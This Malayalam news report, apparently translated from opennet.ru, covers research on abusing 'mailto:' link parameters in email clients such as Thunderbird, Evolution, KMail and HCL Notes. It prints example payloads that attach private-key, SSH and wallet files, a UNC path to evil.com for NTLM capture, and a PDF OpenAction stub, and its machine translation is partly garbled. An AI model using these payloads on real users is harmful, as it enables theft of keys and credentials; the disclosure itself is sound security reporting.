"mailto:" ലിങ്കുകൾ ഉപയോഗിച്ച് ഇമെയിൽ ക്ലയന്റ് ഉപയോക്താക്കളെ ആക്രമിക്കുന്നു

റൂർ യൂണിവേഴ്‌സിറ്റി ബോച്ചുമിലെ (ജർമ്മനി) ഗവേഷകർ വിശകലനം ചെയ്തു (പീഡിയെഫ്) വിപുലമായ പാരാമീറ്ററുകളുള്ള "mailto:" ലിങ്കുകൾ പ്രോസസ്സ് ചെയ്യുമ്പോൾ മെയിൽ ക്ലയന്റുകളുടെ പെരുമാറ്റം. പരിശോധിച്ച ഇരുപത് ഇമെയിൽ ക്ലയന്റുകളിൽ അഞ്ചെണ്ണം “അറ്റാച്ച്” പാരാമീറ്റർ ഉപയോഗിച്ച് റിസോഴ്‌സ് സബ്‌സ്റ്റിറ്റ്യൂഷൻ കൃത്രിമമായി നടത്തിയ ആക്രമണത്തിന് ഇരയാകുന്നു. ഒരു PGP, S/MIME കീ റീപ്ലേസ്‌മെന്റ് ആക്രമണത്തിന് കൂടുതൽ ആറ് ഇമെയിൽ ക്ലയന്റുകൾ ഇരയാകുന്നു, കൂടാതെ എൻക്രിപ്റ്റ് ചെയ്‌ത സന്ദേശങ്ങളുടെ ഉള്ളടക്കം എക്‌സ്‌ട്രാക്‌റ്റുചെയ്യാനുള്ള ആക്രമണത്തിന് മൂന്ന് ക്ലയന്റുകൾ ഇരയാകുന്നു.

ലിങ്കുകൾ «mailto:"ലിങ്കിൽ വ്യക്തമാക്കിയ വിലാസക്കാരന് ഒരു കത്ത് എഴുതുന്നതിനായി ഒരു ഇമെയിൽ ക്ലയന്റ് തുറക്കുന്നത് ഓട്ടോമേറ്റ് ചെയ്യാൻ ഉപയോഗിക്കുന്നു. വിലാസത്തിന് പുറമേ, കത്തിന്റെ വിഷയവും സാധാരണ ഉള്ളടക്കത്തിനുള്ള ടെംപ്ലേറ്റും പോലുള്ള അധിക പാരാമീറ്ററുകൾ നിങ്ങൾക്ക് ലിങ്കിന്റെ ഭാഗമായി വ്യക്തമാക്കാൻ കഴിയും. നിർദ്ദിഷ്ട ആക്രമണം "അറ്റാച്ച്" പാരാമീറ്റർ കൈകാര്യം ചെയ്യുന്നു, ഇത് ജനറേറ്റ് ചെയ്ത സന്ദേശത്തിലേക്ക് ഒരു അറ്റാച്ച്മെന്റ് അറ്റാച്ചുചെയ്യാൻ നിങ്ങളെ അനുവദിക്കുന്നു.

മെയിൽ ക്ലയന്റായ Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL കുറിപ്പുകൾ (CVE-2020-4089), പെഗാസസ് മെയിൽ എന്നിവ നിങ്ങളെ സ്വയമേവ ഒരു നിസ്സാര ആക്രമണത്തിന് വിധേയമാക്കും. "mailto:?attach=path_to_file" പോലുള്ള ഒരു ലിങ്ക് വഴി വ്യക്തമാക്കിയ ഏതെങ്കിലും പ്രാദേശിക ഫയൽ. ഒരു മുന്നറിയിപ്പ് പ്രദർശിപ്പിക്കാതെ ഫയൽ അറ്റാച്ചുചെയ്‌തിരിക്കുന്നു, അതിനാൽ പ്രത്യേക ശ്രദ്ധയില്ലാതെ, ഒരു അറ്റാച്ച്‌മെന്റിനൊപ്പം കത്ത് അയയ്ക്കുന്നത് ഉപയോക്താവ് ശ്രദ്ധിക്കാനിടയില്ല.

ഉദാഹരണത്തിന്, “mailto:[ഇമെയിൽ പരിരക്ഷിച്ചിരിക്കുന്നു]&subject=title&body=Text&attach=~/.gnupg/secring.gpg" നിങ്ങൾക്ക് GnuPG-ൽ നിന്ന് അക്ഷരത്തിലേക്ക് സ്വകാര്യ കീകൾ ചേർക്കാം. നിങ്ങൾക്ക് ക്രിപ്‌റ്റോ വാലറ്റുകളുടെ (~/.bitcoin/wallet.dat), SSH കീകളുടെ (~/.ssh/id_rsa) ഉള്ളടക്കങ്ങളും ഉപയോക്താവിന് ആക്‌സസ് ചെയ്യാനാകുന്ന ഫയലുകളും അയയ്‌ക്കാനാകും. കൂടാതെ, “attach=/tmp/*.txt” പോലുള്ള കൺസ്ട്രക്‌റ്റുകൾ ഉപയോഗിച്ച് മാസ്‌ക് ഉപയോഗിച്ച് ഫയലുകളുടെ ഗ്രൂപ്പുകൾ അറ്റാച്ചുചെയ്യാൻ Thunderbird നിങ്ങളെ അനുവദിക്കുന്നു.

പ്രാദേശിക ഫയലുകൾക്ക് പുറമേ, ചില ഇമെയിൽ ക്ലയന്റുകൾ നെറ്റ്‌വർക്ക് സ്റ്റോറേജിലേക്കും IMAP സെർവറിലെ പാതകളിലേക്കും ലിങ്കുകൾ പ്രോസസ്സ് ചെയ്യുന്നു. പ്രത്യേകിച്ചും, "attach=\\evil.com\dummyfile" പോലുള്ള ലിങ്കുകൾ പ്രോസസ്സ് ചെയ്യുമ്പോൾ നെറ്റ്‌വർക്ക് ഡയറക്ടറിയിൽ നിന്ന് ഒരു ഫയൽ കൈമാറാൻ IBM കുറിപ്പുകൾ നിങ്ങളെ അനുവദിക്കുന്നു, കൂടാതെ ആക്രമണകാരി നിയന്ത്രിക്കുന്ന ഒരു SMB സെർവറിലേക്ക് ഒരു ലിങ്ക് അയച്ചുകൊണ്ട് NTLM പ്രാമാണീകരണ പാരാമീറ്ററുകൾ തടസ്സപ്പെടുത്തുകയും ചെയ്യുന്നു. (നിലവിലെ പ്രാമാണീകരണ പാരാമീറ്ററുകൾ ഉപയോക്താവിന് അഭ്യർത്ഥന അയയ്ക്കും).

IMAP സെർവറിലെ ഫോൾഡറുകളിൽ നിന്ന് ഉള്ളടക്കം അറ്റാച്ചുചെയ്യാൻ നിങ്ങളെ അനുവദിക്കുന്ന “attach=imap:///fetch>UID>/INBOX>1/” പോലുള്ള അഭ്യർത്ഥനകൾ Thunderbird വിജയകരമായി പ്രോസസ്സ് ചെയ്യുന്നു. അതേ സമയം, IMAP-ൽ നിന്ന് വീണ്ടെടുത്ത സന്ദേശങ്ങൾ, OpenPGP, S/MIME എന്നിവ വഴി എൻക്രിപ്റ്റ് ചെയ്‌ത്, അയയ്‌ക്കുന്നതിന് മുമ്പ് മെയിൽ ക്ലയന്റ് സ്വയമേവ ഡീക്രിപ്റ്റ് ചെയ്യുന്നു. തണ്ടർബേർഡിന്റെ ഡെവലപ്പർമാർ ആയിരുന്നു അറിയിച്ചു ഫെബ്രുവരിയിലെ പ്രശ്നത്തെക്കുറിച്ചും പ്രശ്നത്തെക്കുറിച്ചും തണ്ടർബേഡ് 78 പ്രശ്നം ഇതിനകം പരിഹരിച്ചു (തണ്ടർബേർഡ് ശാഖകൾ 52, 60, 68 എന്നിവ ദുർബലമായി തുടരുന്നു).

ഗവേഷകർ നിർദ്ദേശിച്ച PGP, S/MIME എന്നിവയിലെ മറ്റ് രണ്ട് ആക്രമണ വേരിയന്റുകളിലേക്കും തണ്ടർബേർഡിന്റെ പഴയ പതിപ്പുകൾ അപകടത്തിലാണ്. പ്രത്യേകിച്ചും, തണ്ടർബേർഡും ഔട്ട്‌ലുക്ക്, പോസ്റ്റ്ബോക്സ്, ഇഎം ക്ലയന്റ്, മെയിൽമേറ്റ്, ആർ2മെയിൽ2 എന്നിവയും ഒരു പ്രധാന റീപ്ലേസ്‌മെന്റ് ആക്രമണത്തിന് വിധേയമായിട്ടുണ്ട്, ഇത് മെയിൽ ക്ലയന്റ് സ്വയമേവ S/MIME സന്ദേശങ്ങളിൽ കൈമാറുന്ന പുതിയ സർട്ടിഫിക്കറ്റുകൾ ഇറക്കുമതി ചെയ്യുകയും ഇൻസ്റ്റാൾ ചെയ്യുകയും ചെയ്യുന്നു. ഉപയോക്താവ് ഇതിനകം സംഭരിച്ചിട്ടുള്ള പൊതു കീകളുടെ പകരക്കാരനെ സംഘടിപ്പിക്കാൻ ആക്രമണകാരി.

തണ്ടർബേർഡ്, പോസ്റ്റ്ബോക്സ്, മെയിൽമേറ്റ് എന്നിവയ്ക്ക് സാധ്യതയുള്ള രണ്ടാമത്തെ ആക്രമണം, ഡ്രാഫ്റ്റ് സന്ദേശങ്ങൾ സ്വയമേവ സംരക്ഷിക്കുന്നതിനുള്ള മെക്കാനിസത്തിന്റെ സവിശേഷതകൾ കൈകാര്യം ചെയ്യുകയും മെയിൽടോ പാരാമീറ്ററുകൾ ഉപയോഗിച്ച് എൻക്രിപ്റ്റ് ചെയ്ത സന്ദേശങ്ങളുടെ ഡീക്രിപ്ഷൻ അല്ലെങ്കിൽ അനിയന്ത്രിതമായ സന്ദേശങ്ങൾക്കായി ഒരു ഡിജിറ്റൽ സിഗ്നേച്ചർ കൂട്ടിച്ചേർക്കാൻ അനുവദിക്കുകയും ചെയ്യുന്നു. ആക്രമണകാരിയുടെ IMAP സെർവറിലേക്ക് ഫലത്തിന്റെ തുടർന്നുള്ള സംപ്രേക്ഷണം. ഈ ആക്രമണത്തിൽ, "ബോഡി" പാരാമീറ്ററിലൂടെ സൈഫർടെക്സ്റ്റ് കൈമാറ്റം ചെയ്യപ്പെടുന്നു, ആക്രമണകാരിയുടെ IMAP സെർവറിലേക്ക് ഒരു കോൾ ആരംഭിക്കാൻ "മെറ്റാ റിഫ്രഷ്" ടാഗ് ഉപയോഗിക്കുന്നു. ഉദാഹരണത്തിന്: ' '

ഉപയോക്തൃ ഇടപെടലില്ലാതെ "mailto:" ലിങ്കുകൾ സ്വയമേവ പ്രോസസ്സ് ചെയ്യുന്നതിന്, പ്രത്യേകം രൂപകൽപ്പന ചെയ്ത PDF പ്രമാണങ്ങൾ ഉപയോഗിക്കാം - ഒരു പ്രമാണം തുറക്കുമ്പോൾ മെയിൽടോ ഹാൻഡ്‌ലർ സ്വയമേവ സമാരംഭിക്കാൻ PDF-ലെ OpenAction പ്രവർത്തനം നിങ്ങളെ അനുവദിക്കുന്നു:

%PDF-1.5
1 obj
<< /ടൈപ്പ് /കാറ്റലോഗ് /ഓപ്പൺആക്ഷൻ [2 0 R] >>
endobj

2 obj
<< /Type /Action /S /URI/URI (mailto:?body=——BEGIN PGP MESSAGE—[…])>>
endobj

അവലംബം: opennet.ru